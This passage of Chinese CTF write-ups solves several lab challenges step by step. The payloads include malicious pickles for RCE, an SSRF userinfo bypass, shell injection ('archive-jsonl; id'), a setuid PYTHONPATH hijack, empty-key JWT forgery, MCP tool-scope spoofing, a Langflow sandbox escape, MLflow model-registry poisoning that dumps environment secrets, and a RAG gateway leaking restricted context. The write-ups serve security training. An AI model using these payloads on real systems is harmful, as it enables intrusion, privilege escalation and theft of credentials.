其中 peer_salt_hex 来自 safetensors 的 guard.kdf_salt(16 B:69c429c475ee3c2c89aa14ae514d2c75),storage_key = "2",counter 从 0 开始。用 128 字节视图异或前 4 个 sha256 块,得到明文:
TEXT
MODEL_IMPORT_REVIEW|tensor=guard.trace|flag{lwl9CRMOnDd2VYuIX6xcSQIBHBBlnRMnfOorL4At}|END
求解步骤
GET /api/v1/models和GET /api/v1/import-jobs/IMP-2026-0917-017收集工件、模板、工单和ticket。用双重 URL 解码路径穿越读
import_ticket.json,拿accepted_prefix与ticket。构造
LEGACY\n前缀的恶意 pickle,通过/replay触发 torch 遗留反序列化 RCE。用 RCE 读取隔离区全部文件;
quarantine_snapshot.pt解 zip 后取data.pkl和data/2。按
data.pkl的rebuild_legacy_token参数与import_diagnostics.ndjson的 KDF 参数复现密钥流:PYTHONimport hashlib, zipfile z = zipfile.ZipFile('quarantine_snapshot.pt') data2 = z.read('quarantine_snapshot/data/2') salt = '69c429c475ee3c2c89aa14ae514d2c75' base = '|'.join([ 'modelhub_compat.rebuild_legacy_token', 'legacy-tar-bridge/quarantine-17', '6c6f61645f736166655f323032365f31', '2', salt, ]) view = bytes(data2[19 + i*67 + j*2] for i in range(4) for j in range(32)) ks = b''.join(hashlib.sha256(base.encode() + i.to_bytes(4, 'big')).digest() for i in range(4)) print(bytes(a ^ b for a, b in zip(view, ks)))得到
MODEL_IMPORT_REVIEW|...|flag{...}|END。
Flag
TEXT
flag{lwl9CRMOnDd2VYuIX6xcSQIBHBBlnRMnfOorL4At}
Wasmnesia
题意
目标 http://osus9kbz.nestctf.cyberpeace.cn:58080(内网 172.170.228.122:58080),凭据 reviewer@edgeledger.test / Replay-Wasm-2026。EdgeLedger 的 ledger-shift WASM 插件在浏览器里做导出变换,但正式导出的校验始终失败,报 formal-export-unreadable。要求恢复正式产物并拿到 root flag。
分析
正式导出校验失败的原因:ledger-shift 插件的上下文结构体是 32 位布局:
TEXT
ctx+0x00 : u32 seed_input_d (由 job/tenant/rev 派生)
ctx+0x04 : u32 0 (保留字,必须为 0)
ctx+0x08 : u32 job_id
ctx+0x0c : u32 tenant_tag
ctx+0x10 : u32 plugin_rev
ctx+0x14 : u32 batch_base
而 aarch64 宿主组件 ledger-shift-host 3.7.1 原生侧把“生产上下文”算成了 64 位哈希:
C
lo32 = rotl32((job*0x045D9F3B + tenant) ^ 0xA17C9E2D, rev); // == 浏览器里的 d
hi32 = ((rev*0x9E3779B1) ^ ror32(tenant,25) ^ ((batch-job)*0x1F123BB5)) + 0x6D2B79F5;
ctx[0..7] = lo32 || hi32; // 8 字节整体写入
于是 ctx+4 不再是 0 而是 hi32,derive_seed 里的 word1 >> 11 参与异或 → 种子不同 → 用浏览器(正确)种子去解密的校验器只能看到乱码,报 formal-export-unreadable。这就是“ARM64 与 WASM 的 ABI 宽度差异”型 bug:32 位字段被 64 位值覆写。
登录字段是 username,不是 email:
BASH
curl -s -X POST $B/api/v1/login -H 'Content-Type: application/json' \
-d '{"username":"reviewer@edgeledger.test","password":"Replay-Wasm-2026"}'
# -> {"token":"5782a4...","role":"reviewer"}
/api/v1/plugins 给出部署记录:plugin ledger-shift 3.7.1,sha256 1dfbe9a7...;host_component ledger-shift-host 3.7.1 / linux/aarch64,diagnostic edge_context_diag_aarch64,sha256 6f538024...。/api/v1/preview 给的是诱饵(12 行 sample_row=NN status=ok),数据在镜像产物里。
SSRF 取回镜像产物。 /api/v1/connectors/fetch 只做主机白名单,但用 userinfo 写法即可绕过(new URL() 取到 hostname = preview.reports.local,实际连接却打到 127.0.0.1:9090):
BASH
curl -s -X POST $B/api/v1/connectors/fetch -H "Authorization: Bearer $T" \
-H 'Content-Type: application/json' \
-d '{"url":"http://preview.reports.local@127.0.0.1:9090/internal/v1/artifacts/runs/job-f1234001/formal.wexp"}'
返回 export_b64,解出 1168 字节 WEXP:
偏移 | 长度 | 含义 |
|---|---|---|
0 | 4 |
|
4 | 2 | version = 2 |
6 | 2 | block_size = 64 |
8 | 4 | block_count = 17 |
12 | 16 | job / tenant / rev / batch(LE u32) |
28 | 4 | generation = 3 |
32 | 16 | plugin sha256 前 16 字节 |
48 | 16 | runner sha256 前 16 字节 |
64 | 16 | sha256(明文) 前 16 字节 |
80 | 1088 | 变换后的载荷(17×64) |
参数:job=0xA9595116 tenant=0x96D9CDBE rev=0x00030701 batch=0xB517A0B2。
逆向 aarch64 诊断 ELF。 edge_context_diag_aarch64(534456 B,静态链接 glibc,入口 0x400640,main 0x4004E0)。main 逻辑:
C
if (argc != 5) { usage; return 2; }
job = parse(argv[1]); tenant = parse(argv[2]); rev = parse(argv[3]); batch = parse(argv[4]);
x = hash64(job, tenant, rev, batch); // 0x4007A0
...
h = (rev*0x85EBCA6B) ^ ror32(tenant,21) ^ (job^batch) ^ (lo32(x) ^ ror32(hi32(x),27));
h = (h ^ 3) ^ (h >> 16);
if (h == 0 && x == 0) return 3; // 隐藏分支:无输出
puts("edge-context-diag self-test: OK"); return 0;
hash64(0x4007A0)返回 64 位,低 32 位等于前端 JS 里算出的 d,高 32 位是额外的派生值。这个高 32 位被写进了 ctx+4。
解密正式产物。 用 wasmtime 直接跑原始 ledger_shift.wasm,复刻前端 ii():
PYTHON
d = rol32(((job*73244475 + tenant) & 0xffffffff) ^ 0xA17C9E2D, rev & 31)
ctx[0]=lo32(x); ctx[1]=hi32(x) # ← 宿主 bug 的关键:这里本应是 0
ctx[2]=job; ctx[3]=tenant; ctx[4]=rev
seed = derive_seed(512)
# 逆变换(置换 + 异或流)
for i in range(17):
idx = (i*a + b) % 17
for j in range(64):
k = (j*13 + c) & 63
src[idx*64+k] = payload[i*64+j] ^ (mix32(seed, i*64+j) & 0xff)
得到合法 EIPC(magic=EIPC, rows=12),12 行审计日志:
TEXT
export_id=ROADRUNNER-Q3 source=edge-cluster-7
schema=export-execution-audit-v7 encoding=EdgeIPC
component=ledger-shift-host@3.7.1 platform=linux/aarch64
execution_host=edge-worker-a64-07 profile=formal
preview_profile=browser-compatibility
formal_profile=worker-native
redrive_endpoint=/api/v1/operations/redrives
execution_id=job-f1234001 generation=1
input_sha256=2746a1cab552b0831a65afedcadc2a422f02a7660aa1e7231caf4bc8b7ae3eb6
profile=archive-jsonl processor=edge-post
health_attestation=edge-health/2
status=review-required reason=formal-export-unreadable
redrive 接口命令注入。 服务端(/app/server.js):
JS
const command = "/usr/local/bin/edge-post --input " + requestFile + " --profile " + profile;
exec(command, {cwd:"/app/workspace", timeout:5000, maxBuffer:2_000_000}, ...)
profile 直接拼接进 shell → 注入:
BASH
POST /api/v1/operations/redrives
{"execution_id":"job-f1234001",
"input_sha256":"2746a1ca...3eb6",
"generation":1,
"profile":"archive-jsonl; id"}
# output 尾部出现 uid=1001(ctf) gid=1001(ctf)
setuid root 提权。 /usr/local/bin/edge-health:-rwsr-xr-x root,反汇编 main:
C
setuid(0); setgid(0);
chdir("/app/workspace");
setenv("PYTHONPATH", "/app/workspace:/opt/edge", 1);
execl("/usr/bin/python3", "python3", "-c", "import edge_health; edge_health.run()", NULL);
/app/workspace 对 ctf 可写,且排在 PYTHONPATH 最前 → 放置同名 edge_health.py 即可劫持,以 root 执行:
PYTHON
# /app/workspace/edge_health.py
import os
def run():
print(open("/root/flag").read())
BASH
/usr/local/bin/edge-health
# flag{wkmMaYseWT732NNu3cLiHPrIBkehkXexw2Qw6YMA}
求解步骤
用
username字段登录,拿 reviewer token;读/api/v1/plugins确认 WASM 插件、aarch64 宿主与诊断 ELF。用
preview.reports.local@127.0.0.1:9090的 userinfo SSRF 取回formal.wexp,按 WEXP 头解析 job/tenant/rev/batch 与 17×64 载荷。逆向
edge_context_diag_aarch64的hash64,确认低 32 位等于前端d、高 32 位被写进ctx+4。用 wasmtime 跑原 wasm,复刻前端
ii()并把ctx[1]设为hi32(x),逆变换(置换 + 异或流)得到 EIPC 审计日志,取redrive_endpoint与input_sha256。向
/api/v1/operations/redrives提交profile: "archive-jsonl; id",触发exec命令注入,拿到 ctf RCE。在
/app/workspace写入恶意edge_health.py,执行 setuid 的/usr/local/bin/edge-health,以 root 读/root/flag。
Flag
TEXT
flag{wkmMaYseWT732NNu3cLiHPrIBkehkXexw2Qw6YMA}
Off the Curve
题意
Northstar Docs 的 rpt-042 报告被加密,站点使用 fast-jwt 6.2.3、诊断接口和小素数 ECDH。目标是伪造管理员、恢复收件人私钥、解密报告,拿到 recovery_token。
分析
四层依次是:CVE-2026-44351 空密钥验签 → 诊断接口当 ECDH 标签预言机 → 非曲线点短周期 + CRT 还原 32 位私钥 → 按 sealReport 复现解密。
第一层:CVE-2026-44351(fast-jwt 6.2.3 < 6.2.4)。 key: async (decoded) => keys[kid] || '' 的常见回退:未知 kid → resolver 返回空串 → fast-jwt 转成零长 Buffer 交给 createSecretKey → allowedAlgorithms 推导为 HMAC → 验签退化为 HMAC-SHA256(key=b"", input),本地可算。
三个细节:alg 必须 HS256(不能 none);签名必须真用空密钥算;kid 必须是未知值(已知 kid 命中真密钥分支反而 401)。
PYTHON
admin = forge({"alg":"HS256","typ":"JWT","kid":"unknown-kid"},
{"aud":"northstar-docs", ..., "role":"admin",
"scope":["diagnostics:run","keys:read", ...]})
# /api/v1/me -> "Security administrator"
第二层:诊断接口 → 标签预言机。 曲线 p=65519(16 位素数,群极小)。POST /diagnostics/compat 返回 SHA256('DOCSHARE-DIAG\0'||key_id||nonce||full_shared)[:16]——共享点的 128 位指纹。而 legacy 解码器 decodeCompressedLegacy 不做 isOnCurve 校验(新版有)→ 非曲线点不构成群,k·Q 是一条短周期游走(实测周期 2843~4079)。对每个历史收件人暴力枚举 k=1..T 算 tag 比对,10ms 内恢复 d mod T。
第三层:CRT。
TEXT
d ≡ 2358 (mod 3257), 820 (mod 4079), 3703 (mod 3863), 550 (mod 2843)
→ d = 662075547 (mod 145905959765227) 模数 >> 2³²,32 位私钥唯一
第四层:按 sealReport 解密。 sharedPoint = d·Q_recipient;binding = SHA256("northstar-report-scalar-binding\0" || u32be(d) || infoHash);master = scrypt(encodeFull(shared)||binding, "northstar-report-v3\0"||iv||infoHash, N=32768);aeadKey = HMAC-SHA256(master, "northstar-aes256-gcm-key\0"||infoHash);AES-256-GCM。注意必须选 v3 版收件人(rpt-042 是 doc-kek-2026.09-v3,用 v4 密钥直接 InvalidTag)。
→ recovery_token=flag{XUCDDVJRiSnJEdJwndumrBarhrZpbsFxU0fPUQn2}(解密明文里也写着漏洞根因:legacy compressed-key validation diverges from curve membership)。
其他坑:全站先鉴权后路由(401/404 无差异,目录爆破无效);诊断只对已冻结历史会话开放(注册新 key 无用);诊断额度按源 IP 32 次。
求解步骤
用未知
kid+ HS256 + 空密钥伪造管理员 JWT,访问/api/v1/me确认Security administrator。调
/diagnostics/compat,对每个历史收件人枚举k=1..T,用返回的 128 位 tag 恢复d mod T。对多个短周期取 CRT,得到唯一 32 位私钥
d = 662075547。选 v3 收件人,按
sealReport的binding → scrypt → HMAC → AES-256-GCM复现解密,拿到recovery_token。
Flag
TEXT
flag{XUCDDVJRiSnJEdJwndumrBarhrZpbsFxU0fPUQn2}
Crossed Signals
题意
Northline Service Desk 是车队服务台,入口 http://bqo0qtba.nestctf.cyberpeace.cn:58080,凭据 advisor@northline.test / Service-Desk-2026。目标是验证车辆 CTF6SVC0000000002(SR-26042,OTA 后失联)的原始服务记录中的 recovery token。
分析
前端是单页应用,登录后调用 /api/me、/api/cases。诊断能力走 MCP Streamable HTTP:POST /mcp,要求 params._meta 含 io.modelcontextprotocol/* 元数据,且必须带 MCP-Protocol-Version: 2026-07-28。客户端在 tools/call 时额外发送三个自定义头:Mcp-Method、Mcp-Name、Mcp-Param-VIN。tools/list 返回 3 个工具:get_vehicle_health、get_update_status,以及未在 UI 暴露的 export_case_bundle(Security operations only)。
三个漏洞:
授权基于 HTTP 头,执行基于 JSON 体:网关用
Mcp-Param-VIN头判断车辆是否属于当前顾问的 assignment,而工具实际使用params.arguments.vin执行。两者不校验一致性 → 混淆代理(confused deputy)越权读取任意 VIN。工具作用域校验同样只看
Mcp-Name头:把Mcp-Name伪造成get_vehicle_health,body 里params.name写export_case_bundle,即可绕过tool_scope_denied。bundle 发布状态可批量赋值:
POST /api/bundles/{id}/notes除note外还接受release_state,直接置为approved,绕过“需安全运营审批”的下载限制。
求解步骤
登录服务台,确认
CTF6SVC0000000002/ SR-26042 的案件。用自己名下 VIN 的
Mcp-Param-VIN头 + 目标 VIN 的 body 调get_vehicle_health,确认越权:
HTTP
POST /mcp
Mcp-Method: tools/call
Mcp-Name: get_vehicle_health # 头:低权限工具
Mcp-Param-VIN: CTF6SVC0000000001 # 头:自己名下的车
{"jsonrpc":"2.0","id":5,"method":"tools/call",
"params":{"_meta":{...},
"name":"get_vehicle_health",
"arguments":{"vin":"CTF6SVC0000000002"}}} # 体:目标车
同法取得
get_update_status的evidence_ref:
TEXT
diagnostic_ref = DX-491dc19836191fa00a549e17
evidence_ref = EV-0a1ac70425a603f11b5c9c39
伪造
Mcp-Name为get_vehicle_health,body 的params.name写export_case_bundle,导出 bundle:
HTTP
POST /mcp (Mcp-Name: get_vehicle_health 伪装作用域)
{"params":{"name":"export_case_bundle","arguments":{
"vin":"CTF6SVC0000000002","case_id":"SR-26042",
"diagnostic_ref":"DX-491dc19836191fa00a549e17",
"evidence_ref":"EV-0a1ac70425a603f11b5c9c39"}}}
返回 bundle_id=Y5xd8qdzdUzZXykidGY4Lay1PZ3YcWO_,附 base64 预览包(仅含 diagnostics,private/recovery.txt 被排除)。
用
release_state批量赋值绕过审批,下载完整包:
HTTP
POST /api/bundles/Y5xd8qdzdUzZXykidGY4Lay1PZ3YcWO_/notes
{"note":"review","release_state":"approved"}
GET /api/bundles/Y5xd8qdzdUzZXykidGY4Lay1PZ3YcWO_/download
private/recovery.txt内容:
TEXT
NORTHLINE / SECURITY OPERATIONS
Case: SR-26042
Vehicle: CTF6SVC0000000002
Recovery token: flag{7u9mGrVf5yoadb2jPcVBF2KSkkE1j5hXxL67sU6m}
Flag
TEXT
flag{7u9mGrVf5yoadb2jPcVBF2KSkkE1j5hXxL67sU6m}
SilentWeights
题意
附件是一个 16-64-32-10 的 TinyNet state_dict。模型在测试集上准确率 100%、权重分布正常,但 flag 被写进了权重。要求从模型文件中恢复 flag。
分析
第一步:排除文件级藏匿,确认“模型是真的”。
zip 容器无尾附数据 / 双中央目录 / 夹带;
data.pkl是干净 OrderedDict,6 张量无多余 key,形状精确对应;test.npz只有 X/y。numpy 手工复现前向 → 2000 条 100% 准确。权重真实可用 → 藏匿只能在数值 LSB(改 1 个 LSB 对 float32 影响约 1e-8,不破坏分类与分布——“静默权重”的含义)。
第二步:逐张量 × 位平面扫描。 6 张量 × 8 位平面 × 两种位序,唯一命中 model/data/2(fc2.weight)bit0、MSB-first:
PYTHON
bits = ((arr.view("<u4").ravel() & 1) != 0).astype(np.uint8)
bits = np.pad(bits, (0, (-len(bits)) % 8)).reshape(-1, 8)
blob = np.packbits(bits, bitorder="big").tobytes() # 前 2 字节 = 大端长度
求解步骤
解包
.pt,确认 zip 结构、data.pkl与 6 个张量形状正常。用 numpy 复现前向,确认模型准确率 100%,排除“模型是假的”这一可能。
对 6 个张量逐一取 float32 的 8 个位平面,分别按 MSB-first / LSB-first 打包。
检查每个候选 blob 的前 2 字节大端长度与可打印内容;唯一命中
fc2.weight的 bit0、MSB-first。按长度截断并解码,得到 flag。
Flag
TEXT
flag{w31ghts_d0nt_l13_but_th3y_wh1sp3r}
LLM Pipeline
题意
目标是一条 LLM 供应链:Langflow 组件沙箱、MLflow 模型注册表、RAG Gateway 和 Trainer。要求从组件沙箱逃逸到容器 RCE,投毒 MLflow 注册表拿到 trainer 环境,再利用 RAG 的提示隔离缺陷回吐 flag。
分析
攻击链是:Langflow 组件沙箱逃逸 → 容器 RCE → MLflow 注册表投毒 → trainer 反序列化 RCE → 拿 RAG_GATEWAY_TOKEN → 提示隔离缺陷回吐 flag。
第一跳:Langflow 组件沙箱逃逸。
LANGFLOW_AUTO_LOGIN=true,/api/v1/auto_login直发 superuser token;allow_custom_components: true。POST /api/v1/validate/code(CVE-2025-3248 入口)已修复:只find_spec+compile,不执行。实际执行点在组件构建:validate_component_ast()的 AST 白名单只拦语法形态不拦能力——__import__('os')以赋值语句形态放行,且顶层赋值会被prepare_global_scope()直接exec,校验期即执行期。回显通道:把输出写进
MessageTextInput的value,接口 200 返回的data.template.leak.value原样带出,长度不限(异常通道被截断在 ~300 字符)。
PYTHON
_sp = __import__('subprocess')
_o = _sp.run(['sh','-c', CMD], stdout=_sp.PIPE, stderr=_sp.STDOUT).stdout.decode()
class Exploit(Component):
inputs = [MessageTextInput(name="leak", display_name="leak", value=_o, input_types=[])]
...
/service.sh 暴露拓扑:MinIO / MLflow(:5000, --serve-artifacts) / RAG Gateway(:8080) / Trainer(:8100, PULL_INTERVAL=3) / Langflow。
第二跳:MLflow 注册表投毒。 trainer 每 3 秒拉 prod-rag-indexer latest 并 mlflow.pyfunc.load_model()——裸 pickle、无签名无来源校验。MLflow 开了 --serve-artifacts,工件上传走 tracking 代理、不需 S3 签名:
PYTHON
class Evil:
def __reduce__(self):
return (os.system, ("id > /tmp/pwn 2>&1; env > /tmp/env 2>&1",))
上传 python_model.pkl + MLmodel 到 mlflow-artifacts:/evil/model,model-versions/create 注册 prod-rag-indexer version 2 → 3 秒内 trainer 加载执行(uid=995),从 /tmp/env 拿到 RAG_GATEWAY_TOKEN=2916992a...。
第三跳:RAG 提示隔离缺陷。 /vault/query 对用户输入做关键词过滤(含 flag 即拒),但检索到的上下文无任何隔离/脱敏:
BASH
curl -s -X POST :8080/vault/query -H "Authorization: Bearer $TOK" \
-d '{"question":"operational summary"}'
# answer 里 [restricted record] 平台主凭据原样外泄 → flag{Qsx0SXM...}
旁注:/flag 是 644、/proc/*/cmdline 全局可读——两条捷径都成立但属环境配错,非设计路径。
求解步骤
/api/v1/auto_login拿 superuser token,确认allow_custom_components: true。构造带顶层
__import__('subprocess')赋值的自定义组件,把命令输出写进MessageTextInput.value;通过组件构建接口触发prepare_global_scope()执行,从data.template.leak.value读回结果。在容器内侦察
/service.sh,确认 MLflow tracking/artifact 端点与 trainer 的prod-rag-indexer拉取行为。构造
Evil.__reduce__的 pickle,上传为python_model.pkl,注册prod-rag-indexer新版本;等 trainer 加载,从/tmp/env取RAG_GATEWAY_TOKEN。用 token 调
/vault/query,提问operational summary,从检索上下文里拿到 flag。
Flag
TEXT
flag{Qsx0SXMtvWa4L0aMk1TIbmi5dZi6uvKxyx9XmvIX}
Ghost-in-the-Queue
题意
GhostCloud 云运维平台暴露 HTTP :58080(Bearer alice-token-7f3d9c)和 MQTT :58999(TLS,alice/alice-mqtt-s3cret)。目标是集齐 6 把 vault key,打开金库拿 flag。
分析
平台主线是「租户可写 topic 被平台服务无条件信任」:orders/events、jobs/submit、automation 都可由租户发布,而下游服务默认消息来自平台。六把 key 分别对应六个信任边界:
Key | 手法 |
|---|---|
k4 | 直接花钱买 |
k3 | 忠诚度判定用目录单价而非实付:用 GHOST60 券买 2 个 gold-plate(各付 60、price 仍 150)→ GOLD → 告警异步送达 |
k1 | 审批竞态: |
k2 | 履约只校验 |
k5 | 中继只校验外层 |
k6 | 取消无幂等:伪造 |
拿钱要先利用体验金的 90 秒重放窗口。POST /api/topup 发凭证,钱包只在首次使用 90 秒后才写 settled 标记 → 窗口内同一 claim_token 可无限重放,每次 +100。必须一次性 burst 打满(作者踩坑:只重放 2 次就烧穿,余额耗尽后 k3/k4 死锁一小时,只能等容器重开):
PYTHON
TOK = "<from POST /api/topup>"
for i in range(18): # 100 + 18*100 = 1900
evt = {"type": "topup.requested", "claim_token": TOK,
"topup_id": str(uuid.uuid4()), "user": "alice"}
c.publish("tenant/alice/topup/events", json.dumps(evt), qos=1)
time.sleep(0.12)
求解步骤
用
alice-token-7f3d9c访问 HTTP,用alice/alice-mqtt-s3cret连 MQTT TLS,确认可写 topic。POST /api/topup拿claim_token,在 90 秒窗口内一次性 burst 重放 18 次,把余额打到 1900。按上表依次拿 k4(直接买)、k3(目录单价 + 优惠券 + 异步告警)、k1(审批竞态)、k2(伪造
order.paid)、k5(中继内层 topic + 越界读 + strncmp 前缀绕过)、k6(重复退款)。依次
POST /api/vault/submit提交 6 把 key,收到:JSON{"complete":true,"flag":"flag{UGI0JgBfaUso3GnOUGg2GORcrDXuwGZ3M0rtI4Ix}"}
烟雾弹:restart 是假重启、pending_refunds 永不结算(黑洞)、coupon「限用一次」标记在取消后不回收。别在上面耗时间。
Flag
TEXT
flag{UGI0JgBfaUso3GnOUGg2GORcrDXuwGZ3M0rtI4Ix}
Causal Mosaic
题意
服务公开 9 个事件(events,每个含 id 和 weight)和三份局部日志 traces.A、traces.B、traces.C。三份日志用不同编码描述同一批事件之间的先后关系,需要把它们合并成一张有向无环图(DAG),求出一个包含全部 9 个事件、每个事件恰好出现一次的拓扑序。
同一个事件数组要同时提交给三个执行体:
HTTP
POST /api/submit
Content-Type: application/json
{
"session_id": "...",
"question_id": "...",
"inputs": {
"A": ["完整事件序列"],
"B": ["同一个完整事件序列"],
"C": ["同一个完整事件序列"]
}
}
判定条件:
三个执行体分别检查事件覆盖、唯一性以及自己日志中的约束;
A、B、C 必须全部
valid = true;三个执行体的规范输出必须一致:
value = 所有事件 weight 之和digest = sha256("|".join(sorted(所有事件 id)))
通过后
remaining_rounds = 0,响应中返回flag。
分析
三份日志的编码:
日志 | 字段 | 语义 |
|---|---|---|
A |
| X 在 Y 之前,即 |
B |
| 箭头右侧的 X 在左侧的 Y 之前,即 |
C |
| 按服务器返回的 |
最容易出错的是 B:"event2 <- event1" 表示 event1 在 event2 之前,而不是常见的“从左到右”。C 的下标必须基于响应中 events 的原始顺序,不能先按事件 ID 或 weight 排序。
local_tick 只是各日志自己的展示值,不是跨日志的全局时钟,不能拿来替代约束。
求解步骤
POST /api/new(请求体{})取得session_id、question_id和challenge。解码三份日志,合并成边集。
对合并后的 DAG 做 Kahn 拓扑排序。
把同一个事件数组放进
inputs.A、inputs.B、inputs.C提交。响应
passed = true且带flag即完成。
代码(完整脚本见 Causal Mosaic/work/solve.py):
PYTHON
import re
from collections import deque
def parse_relation(rel):
# "left <- right" 表示 right 在 left 之前
m = re.match(r"^\s*(\S+)\s*<-\s*(\S+)\s*$", rel)
right, left = m.group(1), m.group(2)
return left, right # before, after
def build_edges(challenge):
events = challenge["events"]
ids = [ev["id"] for ev in events]
edges = set()
for row in challenge["traces"]["A"]:
edges.add((row["before"], row["after"]))
for row in challenge["traces"]["B"]:
before, after = parse_relation(row["relation"])
edges.add((before, after))
for row in challenge["traces"]["C"]:
i, j = row["pair"]
edges.add((ids[i], ids[j]))
return ids, edges
def topo_sort(ids, edges):
indeg = {x: 0 for x in ids}
adj = {x: [] for x in ids}
for u, v in edges:
adj[u].append(v)
indeg[v] += 1
q = deque([x for x in ids if indeg[x] == 0])
order = []
while q:
u = q.popleft()
order.append(u)
for v in adj[u]:
indeg[v] -= 1
if indeg[v] == 0:
q.append(v)
if len(order) != len(ids):
raise ValueError("合并后的约束存在环")
return order
按上面的实现构造出的拓扑序即可同时满足三份日志。自由事件的相对顺序不影响正确性,任选一种合法顺序即可。
远程结果
本次远程实例的数据:
TEXT
order = ["event-7f829d", "event-1508f0", "event-3a84e9",
"event-d1f12f", "event-e90c9e", "event-39018d",
"event-a8ade8", "event-9c3aa7", "event-e323bb"]
value = 188
digest = bbe9a3504664b5e0e7fc3b94edf55fa495201c0992ffe751741a5c4eb670fe3b
提交响应要点:
JSON
{
"passed": true,
"complete": true,
"remaining_rounds": 0,
"outputs": [
{"executor": "A", "valid": true, "reason": "accepted"},
{"executor": "B", "valid": true, "reason": "accepted"},
{"executor": "C", "valid": true, "reason": "accepted"}
]
}
Flag
TEXT
flag{W3nxZB8RVy4tcddDVAvpHIo8}
